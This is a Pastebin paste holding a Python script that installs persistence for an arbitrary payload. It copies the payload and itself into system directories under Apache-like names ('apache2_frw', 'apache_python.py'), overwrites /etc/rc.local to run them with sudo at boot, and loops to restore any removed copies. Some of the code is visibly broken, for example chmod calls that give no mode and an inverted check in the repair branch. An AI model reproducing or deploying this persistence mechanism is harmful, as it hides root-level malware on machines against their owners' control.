Advertisement
Guest User

Untitled

a guest
Sep 28th, 2016
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.36 KB | None | 0 0
  1. import os
  2. import sys
  3. import shutil
  4. import argparse
  5.  
  6. def python_path():
  7.     way = os.popen("which python").readlines()
  8.     return way[0].rstrip('\n').rstrip('\r')
  9.  
  10. def check_rc():
  11.     if os.path.isfile("/etc/rc.local"):
  12.         return True
  13.     else:
  14.         print("File does not exist")
  15.         sys.exit()
  16.  
  17. def check_install():
  18.     content = open('/etc/rc.local', 'r').read()
  19.     if "apache_python.py" in content:
  20.         return True
  21.     else:
  22.         return False
  23.  
  24. def restart_rc():
  25.     content = os.popen("/etc/init.d/rc.local start").read()
  26.     if "ok" in content or "OK" in content or "Ok" in content:
  27.         return True
  28.     else:
  29.         return False
  30.  
  31. def fname_python():
  32.     return os.getcwd() + "/" + sys.argv[0]
  33.  
  34. if __name__ == "__main__":
  35.     parser = argparse.ArgumentParser()
  36.     parser.add_argument('-f', '-file_path',  dest='file',  default='')
  37.     args = parser.parse_args()
  38.     while True:
  39.         c_way = ['/etc', '/run', '/var/lib', '/var/lib/systemd', '/opt', '/srv', '/tmp']
  40.         if check_install():
  41.             b_way = []
  42.             g_way = []
  43.             print("File is been wrote")
  44.             try:
  45.                 for i in range(0, len(c_way)):
  46.                     if os.path.isfile(c_way[i] + "/apache2_frw"):
  47.                         g_way.append(c_way[i] + "/apache2_frw")
  48.                     else:
  49.                         b_way.append(c_way[i] + "/apache2_frw")
  50.                 for i in range(0, len(c_way)):
  51.                     if os.path.isfile(c_way[i] + "/apache_python.py"):
  52.                         pass
  53.                     else:
  54.                         b_way.append(c_way[i] + "/apache_python.py")
  55.                 if len(b_way) <= 0:
  56.                     for i in range(0, len(b_way)):
  57.                         if "apache_python.py" in b_way[i]:
  58.                             if shutil.copyfile(fname_python(), b_way[i]):
  59.                                 pass
  60.                             else:
  61.                                 text = "#!/bin/sh -e\n sudo " + g_way[0] + "/apache2_frw\nexit 0"
  62.                                 open('/etc/rc.local', 'w').write(text)
  63.                         else:
  64.                             shutil.copyfile(g_way[i], b_way[i])
  65.                     restart_rc()
  66.                 else:
  67.                     pass
  68.             except:
  69.                 print("Fail")
  70.         else:
  71.             p_way = python_path()
  72.             for i in range(0, len(c_way)):
  73.                 if os.path.isdir(c_way[i]):
  74.                     pass
  75.                 else:
  76.                     print("Fail dir: " + c_way[i])
  77.                     del c_way[i]
  78.             for i in range(0, len(c_way)):
  79.                 shutil.copyfile(args.file, c_way[i] + "/apache2_frw")
  80.                 shutil.copyfile(fname_python(), c_way[i] + "/apache_python.py")
  81.                 os.chmod(c_way[i] + "/apache2_frw")
  82.                 os.chmod(c_way[i] + "/apache_python.py")
  83.             text = "#!/bin/sh -e\n sudo " + python_path() + " " + c_way[0] + "/apache_python.py\nexit 0"
  84.             open('/etc/rc.local', 'w').write(text)
  85.             restart_rc()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement